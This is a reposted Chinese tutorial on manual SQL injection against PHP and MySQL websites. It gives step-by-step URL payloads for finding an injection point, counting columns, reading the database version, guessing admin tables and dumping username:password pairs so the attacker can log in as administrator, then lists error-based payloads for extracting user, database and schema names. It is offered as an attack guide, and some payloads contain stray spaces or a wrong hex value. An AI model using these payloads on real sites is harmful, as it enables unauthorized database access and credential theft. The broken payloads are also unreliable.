PHP+MySQL环境下的SQL手工注入教程

it2022-05-07  3

1)检测是否存在注入点假设我们现在有形如http://www.pengoz.cn/news.php?id=5的URL,现在我们在URL后面添加单引号“ ‘ ”(英文输入法的单引号—CCOz注),则URL变成了http://www.pengoz.cn/news.php?id=5′如果得到了一些错误信息形如“error in sql syntax,check the manual … ”等等,那就意味着你找到注入点了!(在中国,可能不显错,只是页面产生变化,结论同—CCOz注)2)如何确定数据库字段数我们用order by 确定字段数。那么,如何使用这个order by?我们只要增加后面的数字直至数据库报错为止。构造URL如下:http://www.pengoz.cn/news.php?id=5 order by 1/* ←无错,返回正常http://www.pengoz.cn/news.php?id=5 order by 2/* ←无错,返回正常http://www.pengoz.cn/news.php?id=5 order by 3/* ←无错,返回正常http://www.pengoz.cn/news.php?id=5 order by 4/* ←网站报错,形如“this unknown column ’4‘ in ‘order clause’”或类似情况。这意味着网站的字段数是3,因为我们试到4的时候报错了。注意:URL后面一定要有注释符,这对我们的查询能顺利进行很重要,当使用“/*”报错时可以试试“–”两者作用相同。3)检验union select使用union select 我们可以获取到更多有用信息。URL形如:http://www.pengoz.cn/news.php?id=5 union all select 1,2,3/*(我们在第二步中已经确定字段数为3)如果我们在屏幕上看到一些数字如1或2或3(0除外—CCOz注)则union select可用.4)检验SQL版本假设数字2出现在屏幕上,现在我们把2替换成查询数据库版本的语句@@version或version(),屏幕上原来是2的位置就会变成形如“5.0.13-shandard”或“4.1.33-log”的版本号。此时URL构造如下:http://www.pengoz.cn/news.php?id=5 union all select 1,@@version,3/*如 果你未得到版本号,二是得到形如“union +illegal mix of collations (TMPLICIT+COVERCIBLE)….”的错误–我并未见到其他教程中提及此问题过,所以在这里我必须写出来引以为戒–我们此时需要的是 convert()函数,构造URL如下:http://www.pengoz.cn/news.php?id=5 union all select 1,convert(@@version using latin1),3/*或者使用hex()和unhex()函数,构造URL如下:http://www.pengoz.cn/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*然后你就会得到MySQL版本了5)获取表名和和列名当MySQL版本小于5时(如4.1.33,4.1.12…)–后面我将阐述版本号大于5时的情况–我们必须猜解表名与列名常用的表名有:user/s,admin/s,member/s…常用的列明有:username,user,usr,user_name,password,pass,passwrd,passwd,pwd…猜解表名时URL构造如下:http://www.pengoz.cn/news.php?id=5 union all select 1,2,3 from admin/*如果我们看到屏幕和显示使用使用union all select 时一样的话(本例中屏幕显示2)时,则存在admin表,这很不错:D现在我们猜解admin表中的列名。构造URL如下:http://www.pengoz.cn/news.php?id=5 union all select 1,username,3from admin/*(如果报错了,就换个列名继续猜解).我们会看到屏幕上出现用户名,形如admin ,superadmin,等等…现在,我们来检验是否存在password列,URL构造如下:http://www.pengoz.cn/news.php?id=5 union all select 1,password,3 from admin/*(如果报错而不显示密码,则换个列名猜解)我们会在屏幕上看到明文密码或密码的hash值,这取决于数据库的设置。加密方式如:md5 hash , MySQL hash ,sha1…现在我们要补充完整查询语句以便看起来美观……URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*注意我放在里面的0×3a,那是冒号的16进制值。还有另一种方法,使用char(58)代替0×8a–毛好的ASCII码。此时URL成为http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*现在我们可以看到屏幕上出现形如admin:password或admin:12345abcde的账号密码值。当你得到这些后,你可以以管理员或者超级管理员的身份登陆后台如果你实在猜解不出表名和列名,你可以试试mysql.user(默认值),默认存在user和password列。URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.

Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功 小部分版本使用name_const()时会报错.可以用给出的方法.2测试

查询版本: 方法1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+ join+(select+name_const(@@version,0))b)c)

方法2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro up by a)b)

查询当前用户: 方法1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)

方法2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r and(0)*2))x+from+information_schema.tables+group+by+x)a)

查询当前数据库: 方法1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)

方法2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

依次爆库 LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n 顺序替换

转载于:https://www.cnblogs.com/amwld/archive/2011/08/25/2152722.html


最新回复(0)